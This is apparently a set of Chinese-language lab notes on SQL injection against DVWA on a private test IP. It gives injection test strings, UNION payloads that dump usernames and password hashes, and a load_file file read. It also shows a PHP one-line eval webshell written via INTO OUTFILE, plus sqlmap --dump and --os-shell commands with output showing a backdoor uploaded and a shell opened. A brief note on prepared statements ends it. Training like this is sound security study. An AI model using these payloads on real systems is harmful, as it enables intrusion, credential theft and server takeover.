拼接sql命令查询数据
注释 常用于sql注入
# 井号 单行注释 注意：URL编码 %23
-- 两个减号加空格 单行注释
/* */ 注释一个区域
注意！在sql注入遇到单引号被转译的情况可以使用 HEX编码 绕过单引号的使用
注入测试poc
1 or 1=1
1‘ or ‘1=1
1" or "1=1
sql注入用法
查看表单字段数（列数）
使用二分法 order by 列数 排序
确定回显点 XXX‘ union select 1,2;
http://192.168.3.88/dvwa/vulnerabilities/sqli/
?id=xx‘+union+select+1,2--+
&Submit=Submit#
查看数据库版本 存放目录
http://192.168.3.88/dvwa/vulnerabilities/sqli/
?id=xx‘[email protected]@version,@@datadir-- +
&Submit=Submit#
查询数据库用户名和数据库名
select user(),database();
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" --current-user --current-db
查看表名 select table_name from information_schema.tables where table_schema=‘dvwa‘;
http://192.168.3.88/dvwa/vulnerabilities/sqli/
?id=xx‘+union+select+1,table_name+from+information_schema.tables+where+table_schema=‘dvwa‘-- +
&Submit=Submit#
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" -D dvwa --tables
查看列名 select column_name from information_schema.columns where table_name=‘users‘;
http://192.168.3.88/dvwa/vulnerabilities/sqli/
?id=xx‘+union+select+1,column_name from information_schema.columns where table_name=‘users‘-- +
&Submit=Submit#
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" -D dvwa -T users --columns
查询用户名密码 select user,password from users;
http://192.168.3.88/dvwa/vulnerabilities/sqli/
?id=xx‘+union+select user,password from users-- +
&Submit=Submit#
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" -D dvwa -T users -C "user,password" --dump
文件读取 select load_file(‘c:\\windows\\win.ini‘);
写入一句话webshell
select "<?php @eval($_GET[‘cmd‘]);?>" into outfile ‘c:\\phpStudy\\WWW\\dvwa\\ttt.php‘;
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=low" -D dvwa -T users -C "user,password" --os-shell
___
__H__
___ ___[‘]_____ ___ ___ {1.1.4.16#dev}
|_ -| . [‘] | .‘| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user‘s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 09:42:39
[09:42:39] [INFO] resuming back-end DBMS ‘mysql‘
[09:42:39] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
Payload: id=1‘ OR NOT 1977=1977#&Submit=Submit
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1‘ AND (SELECT 3539 FROM(SELECT COUNT(*),CONCAT(0x716a767171,(SELECT (ELT(3539=3539,1))),0x7178767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- FXCd&Submit=Submit
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1‘ AND SLEEP(5)-- peqj&Submit=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1‘ UNION ALL SELECT NULL,CONCAT(0x716a767171,0x50557565536267736d786d6466746d634a4d6b46466d61764e46484d635941774f6a725371596862,0x7178767171)#&Submit=Submit
---
[09:42:39] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0
[09:42:39] [INFO] going to use a web backdoor for command prompt
[09:42:39] [INFO] fingerprinting the back-end DBMS operating system
[09:42:39] [INFO] the back-end DBMS operating system is Windows
which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] n
[09:42:43] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) (‘C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/‘) (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: C:\phpStudy\WWW\DVWA
[09:42:51] [WARNING] unable to automatically parse any web server path
[09:42:51] [INFO] trying to upload the file stager on ‘C:/phpStudy/WWW/DVWA/‘ via LIMIT ‘LINES TERMINATED BY‘ method
[09:42:51] [INFO] heuristics detected web page charset ‘ascii‘
[09:42:51] [INFO] the file stager has been successfully uploaded on ‘C:/phpStudy/WWW/DVWA/‘ - http://192.168.3.88:80/DVWA/tmpummkl.php
[09:42:52] [INFO] the backdoor has been successfully uploaded on ‘C:/phpStudy/WWW/DVWA/‘ - http://192.168.3.88:80/DVWA/tmpbhbmv.php
[09:42:52] [INFO] calling OS shell. To quit type ‘x‘ or ‘q‘ and press ENTER
os-shell> dir
do you want to retrieve the command standard output? [Y/n/a] y
[09:42:56] [INFO] heuristics detected web page charset ‘GB2312‘
command standard output:
---
驱动器 C 中的卷是 BOOTCAMP
卷的序列号是 D89B-813F
C:\phpStudy\WWW\DVWA 的目录
2017-05-16 09:42 <DIR> .
2017-05-16 09:42 <DIR> ..
2015-10-05 15:51 500 .htaccess
2015-10-05 15:51 3,845 about.php
2015-10-05 15:51 7,229 CHANGELOG.md
2017-04-25 09:18 <DIR> config
2015-10-05 15:51 33,107 COPYING.txt
2017-04-25 09:18 <DIR> docs
2017-04-25 09:18 <DIR> dvwa
2017-04-25 09:18 <DIR> external
2015-10-05 15:51 1,406 favicon.ico
2017-04-25 09:18 <DIR> hackable
2015-10-05 15:51 895 ids_log.php
2015-10-05 15:51 4,389 index.php
2015-10-05 15:51 1,869 instructions.php
2015-10-05 15:51 3,522 login.php
2015-10-05 15:51 414 logout.php
2015-10-05 15:51 148 php.ini
2015-10-05 15:51 199 phpinfo.php
2015-10-05 15:51 7,651 README.md
2015-10-05 15:51 26 robots.txt
2015-10-05 15:51 4,686 security.php
2015-10-05 15:51 2,364 setup.php
2017-05-04 20:59 466 test.php
2017-05-16 09:42 908 tmpbhbmv.php
2017-05-16 09:42 727 tmpummkl.php
2017-05-15 21:11 29 ttt.php
2017-04-25 09:18 <DIR> vulnerabilities
20 个文件 74,380 字节
8 个目录 18,391,883,776 可用字节
---
os-shell> x
[09:43:02] [INFO] cleaning up the web files uploaded
[09:43:02] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[09:43:02] [INFO] fetched data logged to text files under ‘C:\Users\zptxwd\.sqlmap\output\192.168.3.88‘
[*] shutting down at 09:43:03
sqlmap工具自动注入
low
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=1r06imrpmtlhgg7magi3oos273;security=low"
medium.
注意！在sql注入遇到单引号被转译的情况可以使用 HEX编码 绕过单引号的使用
DVWA
正常业务逻辑：根据User ID在数据库内查找信息并回显至web页面
select firstname,surname from XXX where user_id=‘
LOW
使用1‘ or ‘1=1测试发现可行
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=1r06imrpmtlhgg7magi3oos273;security=low"
medium.
改包修改post参数
1 or 1=1
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=medium"
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=688ktp48da80a4k0fi2ih64814;security=medium" -D dvwa -T users -C "user,password" --dump
high
可以发现查询位置与回显位置不一致
python sqlmap.py -u "http://192.168.3.88/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=dv9h9urfu9bf9udkd7ih6qdbj3;security=high" --second-order "http://192.168.3.88/dvwa/vulnerabilities/sqli/session-input.php#"
防止sql注入：检测id数据类型，预编译绑定ID变量
使用 预编译、存储过程